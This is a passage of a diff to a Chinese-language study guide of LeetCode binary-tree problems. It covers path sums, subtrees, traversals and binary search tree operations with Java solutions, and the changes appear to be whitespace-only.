-1.  5 -> 3
-2.  5 -> 2 -> 1
-3. -3 -> 11
+1.  5 -> 3
+2.  5 -> 2 -> 1
+3. -3 -> 11
 ```
 
-路径不一定以 root 开头，也不一定以 leaf 结尾，但是必须连续。
+路径不一定以 root 开头，也不一定以 leaf 结尾，但是必须连续。
 
 ```java
-public int pathSum(TreeNode root, int sum) {
-    if (root == null) return 0;
-    int ret = pathSumStartWithRoot(root, sum) + pathSum(root.left, sum) + pathSum(root.right, sum);
-    return ret;
+public int pathSum(TreeNode root, int sum) {
+    if (root == null) return 0;
+    int ret = pathSumStartWithRoot(root, sum) + pathSum(root.left, sum) + pathSum(root.right, sum);
+    return ret;
 }
 
-private int pathSumStartWithRoot(TreeNode root, int sum) {
-    if (root == null) return 0;
-    int ret = 0;
-    if (root.val == sum) ret++;
-    ret += pathSumStartWithRoot(root.left, sum - root.val) + pathSumStartWithRoot(root.right, sum - root.val);
-    return ret;
+private int pathSumStartWithRoot(TreeNode root, int sum) {
+    if (root == null) return 0;
+    int ret = 0;
+    if (root.val == sum) ret++;
+    ret += pathSumStartWithRoot(root.left, sum - root.val) + pathSumStartWithRoot(root.right, sum - root.val);
+    return ret;
 }
 ```
 
-**子树** 
+**子树**
 
-[572. Subtree of Another Tree (Easy)](https://leetcode.com/problems/subtree-of-another-tree/description/)
+[572. Subtree of Another Tree (Easy)](https://leetcode.com/problems/subtree-of-another-tree/description/)
 
 ```html
-Given tree s:
-     3
-    / \
-   4   5
-  / \
- 1   2
+Given tree s:
+     3
+    / \
+   4   5
+  / \
+ 1   2
 
-Given tree t:
-   4
-  / \
- 1   2
+Given tree t:
+   4
+  / \
+ 1   2
 
-Return true, because t has the same structure and node values with a subtree of s.
+Return true, because t has the same structure and node values with a subtree of s.
 
-Given tree s:
+Given tree s:
 
-     3
-    / \
-   4   5
-  / \
- 1   2
-    /
-   0
+     3
+    / \
+   4   5
+  / \
+ 1   2
+    /
+   0
 
-Given tree t:
-   4
-  / \
- 1   2
+Given tree t:
+   4
+  / \
+ 1   2
 
-Return false.
+Return false.
 ```
 
 ```java
-public boolean isSubtree(TreeNode s, TreeNode t) {
-    if (s == null) return false;
-    return isSubtreeWithRoot(s, t) || isSubtree(s.left, t) || isSubtree(s.right, t);
+public boolean isSubtree(TreeNode s, TreeNode t) {
+    if (s == null) return false;
+    return isSubtreeWithRoot(s, t) || isSubtree(s.left, t) || isSubtree(s.right, t);
 }
 
-private boolean isSubtreeWithRoot(TreeNode s, TreeNode t) {
-    if (t == null && s == null) return true;
-    if (t == null || s == null) return false;
-    if (t.val != s.val) return false;
-    return isSubtreeWithRoot(s.left, t.left) && isSubtreeWithRoot(s.right, t.right);
+private boolean isSubtreeWithRoot(TreeNode s, TreeNode t) {
+    if (t == null && s == null) return true;
+    if (t == null || s == null) return false;
+    if (t.val != s.val) return false;
+    return isSubtreeWithRoot(s.left, t.left) && isSubtreeWithRoot(s.right, t.right);
 }
 ```
 
-**树的对称** 
+**树的对称**
 
-[101. Symmetric Tree (Easy)](https://leetcode.com/problems/symmetric-tree/description/)
+[101. Symmetric Tree (Easy)](https://leetcode.com/problems/symmetric-tree/description/)
 
 ```html
-    1
-   / \
-  2   2
- / \ / \
-3  4 4  3
+    1
+   / \
+  2   2
+ / \ / \
+3  4 4  3
 ```
 
 ```java
-public boolean isSymmetric(TreeNode root) {
-    if (root == null) return true;
-    return isSymmetric(root.left, root.right);
+public boolean isSymmetric(TreeNode root) {
+    if (root == null) return true;
+    return isSymmetric(root.left, root.right);
 }
 
-private boolean isSymmetric(TreeNode t1, TreeNode t2) {
-    if (t1 == null && t2 == null) return true;
-    if (t1 == null || t2 == null) return false;
-    if (t1.val != t2.val) return false;
-    return isSymmetric(t1.left, t2.right) && isSymmetric(t1.right, t2.left);
+private boolean isSymmetric(TreeNode t1, TreeNode t2) {
+    if (t1 == null && t2 == null) return true;
+    if (t1 == null || t2 == null) return false;
+    if (t1.val != t2.val) return false;
+    return isSymmetric(t1.left, t2.right) && isSymmetric(t1.right, t2.left);
 }
 ```
 
-**最小路径** 
+**最小路径**
 
-[111. Minimum Depth of Binary Tree (Easy)](https://leetcode.com/problems/minimum-depth-of-binary-tree/description/)
+[111. Minimum Depth of Binary Tree (Easy)](https://leetcode.com/problems/minimum-depth-of-binary-tree/description/)
 
 树的根节点到叶子节点的最小路径长度
 
 ```java
-public int minDepth(TreeNode root) {
-    if (root == null) return 0;
-    int left = minDepth(root.left);
-    int right = minDepth(root.right);
-    if (left == 0 || right == 0) return left + right + 1;
-    return Math.min(left, right) + 1;
+public int minDepth(TreeNode root) {
+    if (root == null) return 0;
+    int left = minDepth(root.left);
+    int right = minDepth(root.right);
+    if (left == 0 || right == 0) return left + right + 1;
+    return Math.min(left, right) + 1;
 }
 ```
 
-**统计左叶子节点的和** 
+**统计左叶子节点的和**
 
-[404. Sum of Left Leaves (Easy)](https://leetcode.com/problems/sum-of-left-leaves/description/)
+[404. Sum of Left Leaves (Easy)](https://leetcode.com/problems/sum-of-left-leaves/description/)
 
 ```html
-    3
-   / \
-  9  20
-    /  \
-   15   7
+    3
+   / \
+  9  20
+    /  \
+   15   7
 
-There are two left leaves in the binary tree, with values 9 and 15 respectively. Return 24.
+There are two left leaves in the binary tree, with values 9 and 15 respectively. Return 24.
 ```
 
 ```java
-public int sumOfLeftLeaves(TreeNode root) {
-    if (root == null) return 0;
-    if (isLeaf(root.left)) return root.left.val + sumOfLeftLeaves(root.right);
-    return sumOfLeftLeaves(root.left) + sumOfLeftLeaves(root.right);
+public int sumOfLeftLeaves(TreeNode root) {
+    if (root == null) return 0;
+    if (isLeaf(root.left)) return root.left.val + sumOfLeftLeaves(root.right);
+    return sumOfLeftLeaves(root.left) + sumOfLeftLeaves(root.right);
 }
 
-private boolean isLeaf(TreeNode node){
-    if (node == null) return false;
-    return node.left == null && node.right == null;
+private boolean isLeaf(TreeNode node){
+    if (node == null) return false;
+    return node.left == null && node.right == null;
 }
 ```
 
-**相同节点值的最大路径长度** 
+**相同节点值的最大路径长度**
 
-[687. Longest Univalue Path (Easy)](https://leetcode.com/problems/longest-univalue-path/)
+[687. Longest Univalue Path (Easy)](https://leetcode.com/problems/longest-univalue-path/)
 
 ```html
-             1
-            / \
-           4   5
-          / \   \
-         4   4   5
+             1
+            / \
+           4   5
+          / \   \
+         4   4   5
 
-Output : 2
+Output : 2
 ```
 
 ```java
-private int path = 0;
+private int path = 0;
 
-public int longestUnivaluePath(TreeNode root) {
-    dfs(root);
-    return path;
+public int longestUnivaluePath(TreeNode root) {
+    dfs(root);
+    return path;
 }
 
-private int dfs(TreeNode root){
-    if (root == null) return 0;
-    int left = dfs(root.left);
-    int right = dfs(root.right);
-    int leftPath = root.left != null && root.left.val == root.val ? left + 1 : 0;
-    int rightPath = root.right != null && root.right.val == root.val ? right + 1 : 0;
-    path = Math.max(path, leftPath + rightPath);
-    return Math.max(leftPath, rightPath);
+private int dfs(TreeNode root){
+    if (root == null) return 0;
+    int left = dfs(root.left);
+    int right = dfs(root.right);
+    int leftPath = root.left != null && root.left.val == root.val ? left + 1 : 0;
+    int rightPath = root.right != null && root.right.val == root.val ? right + 1 : 0;
+    path = Math.max(path, leftPath + rightPath);
+    return Math.max(leftPath, rightPath);
 }
 ```
 
-**间隔遍历** 
+**间隔遍历**
 
-[337. House Robber III (Medium)](https://leetcode.com/problems/house-robber-iii/description/)
+[337. House Robber III (Medium)](https://leetcode.com/problems/house-robber-iii/description/)
 
 ```html
-     3
-    / \
-   2   3
-    \   \
-     3   1
-Maximum amount of money the thief can rob = 3 + 3 + 1 = 7.
+     3
+    / \
+   2   3
+    \   \
+     3   1
+Maximum amount of money the thief can rob = 3 + 3 + 1 = 7.
 ```
 
 ```java
-public int rob(TreeNode root) {
-    if (root == null) return 0;
-    int val1 = root.val;
-    if (root.left != null) val1 += rob(root.left.left) + rob(root.left.right);
-    if (root.right != null) val1 += rob(root.right.left) + rob(root.right.right);
-    int val2 = rob(root.left) + rob(root.right);
-    return Math.max(val1, val2);
+public int rob(TreeNode root) {
+    if (root == null) return 0;
+    int val1 = root.val;
+    if (root.left != null) val1 += rob(root.left.left) + rob(root.left.right);
+    if (root.right != null) val1 += rob(root.right.left) + rob(root.right.right);
+    int val2 = rob(root.left) + rob(root.right);
+    return Math.max(val1, val2);
 }
 ```
 
-**找出二叉树中第二小的节点** 
+**找出二叉树中第二小的节点**
 
-[671. Second Minimum Node In a Binary Tree (Easy)](https://leetcode.com/problems/second-minimum-node-in-a-binary-tree/description/)
+[671. Second Minimum Node In a Binary Tree (Easy)](https://leetcode.com/problems/second-minimum-node-in-a-binary-tree/description/)
 
 ```html
 Input:
-   2
-  / \
- 2   5
-    / \
-    5  7
+   2
+  / \
+ 2   5
+    / \
+    5  7
 
-Output: 5
+Output: 5
 ```
 
-一个节点要么具有 0 个或 2 个子节点，如果有子节点，那么根节点是最小的节点。
+一个节点要么具有 0 个或 2 个子节点，如果有子节点，那么根节点是最小的节点。
 
 ```java
-public int findSecondMinimumValue(TreeNode root) {
-    if (root == null) return -1;
-    if (root.left == null && root.right == null) return -1;
-    int leftVal = root.left.val;
-    int rightVal = root.right.val;
-    if (leftVal == root.val) leftVal = findSecondMinimumValue(root.left);
-    if (rightVal == root.val) rightVal = findSecondMinimumValue(root.right);
-    if (leftVal != -1 && rightVal != -1) return Math.min(leftVal, rightVal);
-    if (leftVal != -1) return leftVal;
-    return rightVal;
+public int findSecondMinimumValue(TreeNode root) {
+    if (root == null) return -1;
+    if (root.left == null && root.right == null) return -1;
+    int leftVal = root.left.val;
+    int rightVal = root.right.val;
+    if (leftVal == root.val) leftVal = findSecondMinimumValue(root.left);
+    if (rightVal == root.val) rightVal = findSecondMinimumValue(root.right);
+    if (leftVal != -1 && rightVal != -1) return Math.min(leftVal, rightVal);
+    if (leftVal != -1) return leftVal;
+    return rightVal;
 }
 ```
 
-### 层次遍历
+### 层次遍历
 
-使用 BFS 进行层次遍历。不需要使用两个队列来分别存储当前层的节点和下一层的节点，因为在开始遍历一层的节点时，当前队列中的节点数就是当前层的节点数，只要控制遍历这么多节点数，就能保证这次遍历的都是当前层的节点。
+使用 BFS 进行层次遍历。不需要使用两个队列来分别存储当前层的节点和下一层的节点，因为在开始遍历一层的节点时，当前队列中的节点数就是当前层的节点数，只要控制遍历这么多节点数，就能保证这次遍历的都是当前层的节点。
 
-**一棵树每层节点的平均数** 
+**一棵树每层节点的平均数**
 
-[637. Average of Levels in Binary Tree (Easy)](https://leetcode.com/problems/average-of-levels-in-binary-tree/description/)
+[637. Average of Levels in Binary Tree (Easy)](https://leetcode.com/problems/average-of-levels-in-binary-tree/description/)
 
 ```java
-public List<Double> averageOfLevels(TreeNode root) {
-    List<Double> ret = new ArrayList<>();
-    if (root == null) return ret;
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(root);
-    while (!queue.isEmpty()) {
-        int cnt = queue.size();
-        double sum = 0;
-        for (int i = 0; i < cnt; i++) {
-            TreeNode node = queue.poll();
-            sum += node.val;
-            if (node.left != null) queue.add(node.left);
-            if (node.right != null) queue.add(node.right);
-        }
-        ret.add(sum / cnt);
-    }
-    return ret;
+public List<Double> averageOfLevels(TreeNode root) {
+    List<Double> ret = new ArrayList<>();
+    if (root == null) return ret;
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(root);
+    while (!queue.isEmpty()) {
+        int cnt = queue.size();
+        double sum = 0;
+        for (int i = 0; i < cnt; i++) {
+            TreeNode node = queue.poll();
+            sum += node.val;
+            if (node.left != null) queue.add(node.left);
+            if (node.right != null) queue.add(node.right);
+        }
+        ret.add(sum / cnt);
+    }
+    return ret;
 }
 ```
 
-**得到左下角的节点** 
+**得到左下角的节点**
 
-[513. Find Bottom Left Tree Value (Easy)](https://leetcode.com/problems/find-bottom-left-tree-value/description/)
+[513. Find Bottom Left Tree Value (Easy)](https://leetcode.com/problems/find-bottom-left-tree-value/description/)
 
 ```html
 Input:
 
-        1
-       / \
-      2   3
-     /   / \
-    4   5   6
-       /
-      7
+        1
+       / \
+      2   3
+     /   / \
+    4   5   6
+       /
+      7
 
 Output:
 7
 ```
 
 ```java
-public int findBottomLeftValue(TreeNode root) {
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(root);
-    while (!queue.isEmpty()) {
-        root = queue.poll();
-        if (root.right != null) queue.add(root.right);
-        if (root.left != null) queue.add(root.left);
-    }
-    return root.val;
+public int findBottomLeftValue(TreeNode root) {
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(root);
+    while (!queue.isEmpty()) {
+        root = queue.poll();
+        if (root.right != null) queue.add(root.right);
+        if (root.left != null) queue.add(root.left);
+    }
+    return root.val;
 }
 ```
 
-### 前中后序遍历
+### 前中后序遍历
 
 ```html
-    1
-   / \
-  2   3
- / \   \
-4   5   6
+    1
+   / \
+  2   3
+ / \   \
+4   5   6
 ```
 
-- 层次遍历顺序：[1 2 3 4 5 6]
-- 前序遍历顺序：[1 2 4 5 3 6]
-- 中序遍历顺序：[4 2 5 1 3 6]
-- 后序遍历顺序：[4 5 2 6 3 1]
+- 层次遍历顺序：[1 2 3 4 5 6]
+- 前序遍历顺序：[1 2 4 5 3 6]
+- 中序遍历顺序：[4 2 5 1 3 6]
+- 后序遍历顺序：[4 5 2 6 3 1]
 
-层次遍历使用 BFS 实现，利用的就是 BFS 一层一层遍历的特性；而前序、中序、后序遍历利用了 DFS 实现。
+层次遍历使用 BFS 实现，利用的就是 BFS 一层一层遍历的特性；而前序、中序、后序遍历利用了 DFS 实现。
 
 前序、中序、后序遍只是在对节点访问的顺序有一点不同，其它都相同。
 
-① 前序
+① 前序
 
 ```java
-void dfs(TreeNode root) {
-    visit(root);
-    dfs(root.left);
-    dfs(root.right);
+void dfs(TreeNode root) {
+    visit(root);
+    dfs(root.left);
+    dfs(root.right);
 }
 ```
 
-② 中序
+② 中序
 
 ```java
-void dfs(TreeNode root) {
-    dfs(root.left);
-    visit(root);
-    dfs(root.right);
+void dfs(TreeNode root) {
+    dfs(root.left);
+    visit(root);
+    dfs(root.right);
 }
 ```
 
-③ 后序
+③ 后序
 
 ```java
-void dfs(TreeNode root) {
-    dfs(root.left);
-    dfs(root.right);
-    visit(root);
+void dfs(TreeNode root) {
+    dfs(root.left);
+    dfs(root.right);
+    visit(root);
 }
 ```
 
-**非递归实现二叉树的前序遍历** 
+**非递归实现二叉树的前序遍历**
 
-[144. Binary Tree Preorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-preorder-traversal/description/)
+[144. Binary Tree Preorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-preorder-traversal/description/)
 
 ```java
-public List<Integer> preorderTraversal(TreeNode root) {
-    List<Integer> ret = new ArrayList<>();
-    Stack<TreeNode> stack = new Stack<>();
-    stack.push(root);
-    while (!stack.isEmpty()) {
-        TreeNode node = stack.pop();
-        if (node == null) continue;
-        ret.add(node.val);
-        stack.push(node.right);  // 先右后左，保证左子树先遍历
-        stack.push(node.left);
-    }
-    return ret;
+public List<Integer> preorderTraversal(TreeNode root) {
+    List<Integer> ret = new ArrayList<>();
+    Stack<TreeNode> stack = new Stack<>();
+    stack.push(root);
+    while (!stack.isEmpty()) {
+        TreeNode node = stack.pop();
+        if (node == null) continue;
+        ret.add(node.val);
+        stack.push(node.right);  // 先右后左，保证左子树先遍历
+        stack.push(node.left);
+    }
+    return ret;
 }
 ```
 
-**非递归实现二叉树的后序遍历** 
+**非递归实现二叉树的后序遍历**
 
-[145. Binary Tree Postorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-postorder-traversal/description/)
+[145. Binary Tree Postorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-postorder-traversal/description/)
 
-前序遍历为 root -> left -> right，后序遍历为 left -> right -> root。可以修改前序遍历成为 root -> right -> left，那么这个顺序就和后序遍历正好相反。
+前序遍历为 root -> left -> right，后序遍历为 left -> right -> root。可以修改前序遍历成为 root -> right -> left，那么这个顺序就和后序遍历正好相反。
 
 ```java
-public List<Integer> postorderTraversal(TreeNode root) {
-    List<Integer> ret = new ArrayList<>();
-    Stack<TreeNode> stack = new Stack<>();
-    stack.push(root);
-    while (!stack.isEmpty()) {
-        TreeNode node = stack.pop();
-        if (node == null) continue;
-        ret.add(node.val);
-        stack.push(node.left);
-        stack.push(node.right);
-    }
-    Collections.reverse(ret);
-    return ret;
+public List<Integer> postorderTraversal(TreeNode root) {
+    List<Integer> ret = new ArrayList<>();
+    Stack<TreeNode> stack = new Stack<>();
+    stack.push(root);
+    while (!stack.isEmpty()) {
+        TreeNode node = stack.pop();
+        if (node == null) continue;
+        ret.add(node.val);
+        stack.push(node.left);
+        stack.push(node.right);
+    }
+    Collections.reverse(ret);
+    return ret;
 }
 ```
 
-**非递归实现二叉树的中序遍历** 
+**非递归实现二叉树的中序遍历**
 
-[94. Binary Tree Inorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-inorder-traversal/description/)
+[94. Binary Tree Inorder Traversal (Medium)](https://leetcode.com/problems/binary-tree-inorder-traversal/description/)
 
 ```java
-public List<Integer> inorderTraversal(TreeNode root) {
-    List<Integer> ret = new ArrayList<>();
-    if (root == null) return ret;
-    Stack<TreeNode> stack = new Stack<>();
-    TreeNode cur = root;
-    while (cur != null || !stack.isEmpty()) {
-        while (cur != null) {
-            stack.push(cur);
-            cur = cur.left;
-        }
-        TreeNode node = stack.pop();
-        ret.add(node.val);
-        cur = node.right;
-    }
-    return ret;
+public List<Integer> inorderTraversal(TreeNode root) {
+    List<Integer> ret = new ArrayList<>();
+    if (root == null) return ret;
+    Stack<TreeNode> stack = new Stack<>();
+    TreeNode cur = root;
+    while (cur != null || !stack.isEmpty()) {
+        while (cur != null) {
+            stack.push(cur);
+            cur = cur.left;
+        }
+        TreeNode node = stack.pop();
+        ret.add(node.val);
+        cur = node.right;
+    }
+    return ret;
 }
 ```
 
-### BST
+### BST
 
 二叉查找树（BST）：根节点大于等于左子树所有节点，小于等于右子树所有节点。
 
 二叉查找树中序遍历有序。
 
-**修剪二叉查找树** 
+**修剪二叉查找树**
 
-[669. Trim a Binary Search Tree (Easy)](https://leetcode.com/problems/trim-a-binary-search-tree/description/)
+[669. Trim a Binary Search Tree (Easy)](https://leetcode.com/problems/trim-a-binary-search-tree/description/)
 
 ```html
 Input:
 
-    3
-   / \
-  0   4
-   \
-    2
-   /
-  1
+    3
+   / \
+  0   4
+   \
+    2
+   /
+  1
 
-  L = 1
-  R = 3
+  L = 1
+  R = 3
 
 Output:
 
-      3
-     /
-   2
-  /
- 1
+      3
+     /
+   2
+  /
+ 1
 ```
 
-题目描述：只保留值在 L \~ R 之间的节点
+题目描述：只保留值在 L ~ R 之间的节点
 
 ```java
-public TreeNode trimBST(TreeNode root, int L, int R) {
-    if (root == null) return null;
-    if (root.val > R) return trimBST(root.left, L, R);
-    if (root.val < L) return trimBST(root.right, L, R);
-    root.left = trimBST(root.left, L, R);
-    root.right = trimBST(root.right, L, R);
-    return root;
+public TreeNode trimBST(TreeNode root, int L, int R) {
+    if (root == null) return null;
+    if (root.val > R) return trimBST(root.left, L, R);
+    if (root.val < L) return trimBST(root.right, L, R);
+    root.left = trimBST(root.left, L, R);
+    root.right = trimBST(root.right, L, R);
+    return root;
 }
 ```
 
-**寻找二叉查找树的第 k 个元素** 
+**寻找二叉查找树的第 k 个元素**
 
-[230. Kth Smallest Element in a BST (Medium)](https://leetcode.com/problems/kth-smallest-element-in-a-bst/description/)
+[230. Kth Smallest Element in a BST (Medium)](https://leetcode.com/problems/kth-smallest-element-in-a-bst/description/)
 
 
 中序遍历解法：
 
 ```java
-private int cnt = 0;
-private int val;
+private int cnt = 0;
+private int val;
 
-public int kthSmallest(TreeNode root, int k) {
-    inOrder(root, k);
-    return val;
+public int kthSmallest(TreeNode root, int k) {
+    inOrder(root, k);
+    return val;
 }
 
-private void inOrder(TreeNode node, int k) {
-    if (node == null) return;
-    inOrder(node.left, k);
-    cnt++;
-    if (cnt == k) {
-        val = node.val;
-        return;
-    }
-    inOrder(node.right, k);
+private void inOrder(TreeNode node, int k) {
+    if (node == null) return;
+    inOrder(node.left, k);
+    cnt++;
+    if (cnt == k) {
+        val = node.val;
+        return;
+    }
+    inOrder(node.right, k);
 }
 ```
 
 递归解法：
 
 ```java
-public int kthSmallest(TreeNode root, int k) {
-    int leftCnt = count(root.left);
-    if (leftCnt == k - 1) return root.val;
-    if (leftCnt > k - 1) return kthSmallest(root.left, k);
-    return kthSmallest(root.right, k - leftCnt - 1);
+public int kthSmallest(TreeNode root, int k) {
+    int leftCnt = count(root.left);
+    if (leftCnt == k - 1) return root.val;
+    if (leftCnt > k - 1) return kthSmallest(root.left, k);
+    return kthSmallest(root.right, k - leftCnt - 1);
 }
 
-private int count(TreeNode node) {
-    if (node == null) return 0;
-    return 1 + count(node.left) + count(node.right);
+private int count(TreeNode node) {
+    if (node == null) return 0;
+    return 1 + count(node.left) + count(node.right);
 }
 ```
 
-**把二叉查找树每个节点的值都加上比它大的节点的值** 
+**把二叉查找树每个节点的值都加上比它大的节点的值**
 
-[Convert BST to Greater Tree (Easy)](https://leetcode.com/problems/convert-bst-to-greater-tree/description/)
+[Convert BST to Greater Tree (Easy)](https://leetcode.com/problems/convert-bst-to-greater-tree/description/)
 
 ```html
-Input: The root of a Binary Search Tree like this:
+Input: The root of a Binary Search Tree like this:
 
-              5
-            /   \
-           2     13
+              5
+            /   \
+           2     13
 
-Output: The root of a Greater Tree like this:
+Output: The root of a Greater Tree like this:
 
-             18
-            /   \
-          20     13
+             18
+            /   \
+          20     13
 ```
 
 先遍历右子树。
 
 ```java
-private int sum = 0;
+private int sum = 0;
 
-public TreeNode convertBST(TreeNode root) {
-    traver(root);
-    return root;
+public TreeNode convertBST(TreeNode root) {
+    traver(root);
+    return root;
 }
 
-private void traver(TreeNode node) {
-    if (node == null) return;
-    traver(node.right);
-    sum += node.val;
-    node.val = sum;
-    traver(node.left);
+private void traver(TreeNode node) {
+    if (node == null) return;
+    traver(node.right);
+    sum += node.val;
+    node.val = sum;
+    traver(node.left);
 }
 ```
 
-**二叉查找树的最近公共祖先** 
+**二叉查找树的最近公共祖先**
 
-[235. Lowest Common Ancestor of a Binary Search Tree (Easy)](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
+[235. Lowest Common Ancestor of a Binary Search Tree (Easy)](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
 
 ```html
-        _______6______
-      /                \
-  ___2__             ___8__
- /      \           /      \
-0        4         7        9
-        /  \
-       3   5
+        _______6______
+      /                \
+  ___2__             ___8__
+ /      \           /      \
+0        4         7        9
+        /  \
+       3   5
 
-For example, the lowest common ancestor (LCA) of nodes 2 and 8 is 6. Another example is LCA of nodes 2 and 4 is 2, since a node can be a descendant of itself according to the LCA definition.
+For example, the lowest common ancestor (LCA) of nodes 2 and 8 is 6. Another example is LCA of nodes 2 and 4 is 2, since a node can be a descendant of itself according to the LCA definition.
 ```
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root.val > p.val && root.val > q.val) return lowestCommonAncestor(root.left, p, q);
-    if (root.val < p.val && root.val < q.val) return lowestCommonAncestor(root.right, p, q);
-    return root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root.val > p.val && root.val > q.val) return lowestCommonAncestor(root.left, p, q);
+    if (root.val < p.val && root.val < q.val) return lowestCommonAncestor(root.right, p, q);
+    return root;
 }
 ```
 
-**二叉树的最近公共祖先** 
+**二叉树的最近公共祖先**
 
-[236. Lowest Common Ancestor of a Binary Tree (Medium) ](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
+[236. Lowest Common Ancestor of a Binary Tree (Medium) ](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
 
 ```html
-       _______3______
-      /              \
-  ___5__           ___1__
- /      \         /      \
-6        2       0        8
-        /  \
-       7    4
+       _______3______
+      /              \
+  ___5__           ___1__
+ /      \         /      \
+6        2       0        8
+        /  \
+       7    4
 
-For example, the lowest common ancestor (LCA) of nodes 5 and 1 is 3. Another example is LCA of nodes 5 and 4 is 5, since a node can be a descendant of itself according to the LCA definition.
+For example, the lowest common ancestor (LCA) of nodes 5 and 1 is 3. Another example is LCA of nodes 5 and 4 is 5, since a node can be a descendant of itself according to the LCA definition.
 ```
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root == null || root == p || root == q) return root;
-    TreeNode left = lowestCommonAncestor(root.left, p, q);
-    TreeNode right = lowestCommonAncestor(root.right, p, q);
-    return left == null ? right : right == null ? left : root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root == null || root == p || root == q) return root;
+    TreeNode left = lowestCommonAncestor(root.left, p, q);
+    TreeNode right = lowestCommonAncestor(root.right, p, q);
+    return left == null ? right : right == null ? left : root;
 }
 ```
 
-**从有序数组中构造二叉查找树** 
+**从有序数组中构造二叉查找树**
 
-[108. Convert Sorted Array to Binary Search Tree (Easy)](https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/description/)
+[108. Convert Sorted Array to Binary Search Tree (Easy)](https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/description/)
 
 ```java
-public TreeNode sortedArrayToBST(int[] nums) {
-    return toBST(nums, 0, nums.length - 1);
+public TreeNode sortedArrayToBST(int[] nums) {
+    return toBST(nums, 0, nums.length - 1);
 }
 
-private TreeNode toBST(int[] nums, int sIdx, int eIdx){
-    if (sIdx > eIdx) return null;
-    int mIdx = (sIdx + eIdx) / 2;
-    TreeNode root = new TreeNode(nums[mIdx]);
-    root.left =  toBST(nums, sIdx, mIdx - 1);
-    root.right = toBST(nums, mIdx + 1, eIdx);
-    return root;
+private TreeNode toBST(int[] nums, int sIdx, int eIdx){
+    if (sIdx > eIdx) return null;
+    int mIdx = (sIdx + eIdx) / 2;
+    TreeNode root = new TreeNode(nums[mIdx]);
+    root.left =  toBST(nums, sIdx, mIdx - 1);
+    root.right = toBST(nums, mIdx + 1, eIdx);
+    return root;
 }
 ```
 
-**根据有序链表构造平衡的二叉查找树** 
+**根据有序链表构造平衡的二叉查找树**
 
-[109. Convert Sorted List to Binary Search Tree (Medium)](https://leetcode.com/problems/convert-sorted-list-to-binary-search-tree/description/)
+[109. Convert Sorted List to Binary Search Tree (Medium)](https://leetcode.com/problems/convert-sorted-list-to-binary-search-tree/description/)
 
 ```html
-Given the sorted linked list: [-10,-3,0,5,9],
+Given the sorted linked list: [-10,-3,0,5,9],
 
-One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:
+One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:
 
-      0
-     / \
-   -3   9
-   /   /
- -10  5
+      0
+     / \
+   -3   9
+   /   /
+ -10  5
 ```
 
 ```java
-public TreeNode sortedListToBST(ListNode head) {
-    if (head == null) return null;
-    if (head.next == null) return new TreeNode(head.val);
-    ListNode preMid = preMid(head);
-    ListNode mid = preMid.next;
-    preMid.next = null;  // 断开链表
-    TreeNode t = new TreeNode(mid.val);
-    t.left = sortedListToBST(head);
-    t.right = sortedListToBST(mid.next);
-    return t;
+public TreeNode sortedListToBST(ListNode head) {
+    if (head == null) return null;
+    if (head.next == null) return new TreeNode(head.val);
+    ListNode preMid = preMid(head);
+    ListNode mid = preMid.next;
+    preMid.next = null;  // 断开链表
+    TreeNode t = new TreeNode(mid.val);
+    t.left = sortedListToBST(head);
+    t.right = sortedListToBST(mid.next);
+    return t;
 }
 
-private ListNode preMid(ListNode head) {
-    ListNode slow = head, fast = head.next;
-    ListNode pre = head;
-    while (fast != null && fast.next != null) {
-        pre = slow;
-        slow = slow.next;
-        fast = fast.next.next;
-    }
-    return pre;
+private ListNode preMid(ListNode head) {
+    ListNode slow = head, fast = head.next;
+    ListNode pre = head;
+    while (fast != null && fast.next != null) {
+        pre = slow;
+        slow = slow.next;
+        fast = fast.next.next;
+    }
+    return pre;
 }
 ```
 
-**在二叉查找树中寻找两个节点，使它们的和为一个给定值** 
+**在二叉查找树中寻找两个节点，使它们的和为一个给定值**
 
-[653. Two Sum IV - Input is a BST (Easy)](https://leetcode.com/problems/two-sum-iv-input-is-a-bst/description/)
+[653. Two Sum IV - Input is a BST (Easy)](https://leetcode.com/problems/two-sum-iv-input-is-a-bst/description/)
 
 ```html
 Input:
 
-    5
-   / \
-  3   6
- / \   \
-2   4   7
+    5
+   / \
+  3   6
+ / \   \
+2   4   7
 
-Target = 9
+Target = 9
 
-Output: True
+Output: True
 ```
 
 使用中序遍历得到有序数组之后，再利用双指针对数组进行查找。
@@ -5183,39 +5127,39 @@ Output: True
 应该注意到，这一题不能用分别在左右子树两部分来处理这种思想，因为两个待求的节点可能分别在左右子树中。
 
 ```java
-public boolean findTarget(TreeNode root, int k) {
-    List<Integer> nums = new ArrayList<>();
-    inOrder(root, nums);
-    int i = 0, j = nums.size() - 1;
-    while (i < j) {
-        int sum = nums.get(i) + nums.get(j);
-        if (sum == k) return true;
-        if (sum < k) i++;
-        else j--;
-    }
-    return false;
+public boolean findTarget(TreeNode root, int k) {
+    List<Integer> nums = new ArrayList<>();
+    inOrder(root, nums);
+    int i = 0, j = nums.size() - 1;
+    while (i < j) {
+        int sum = nums.get(i) + nums.get(j);
+        if (sum == k) return true;
+        if (sum < k) i++;
+        else j--;
+    }
+    return false;
 }
 
-private void inOrder(TreeNode root, List<Integer> nums) {
-    if (root == null) return;
-    inOrder(root.left, nums);
-    nums.add(root.val);
-    inOrder(root.right, nums);
+private void inOrder(TreeNode root, List<Integer> nums) {
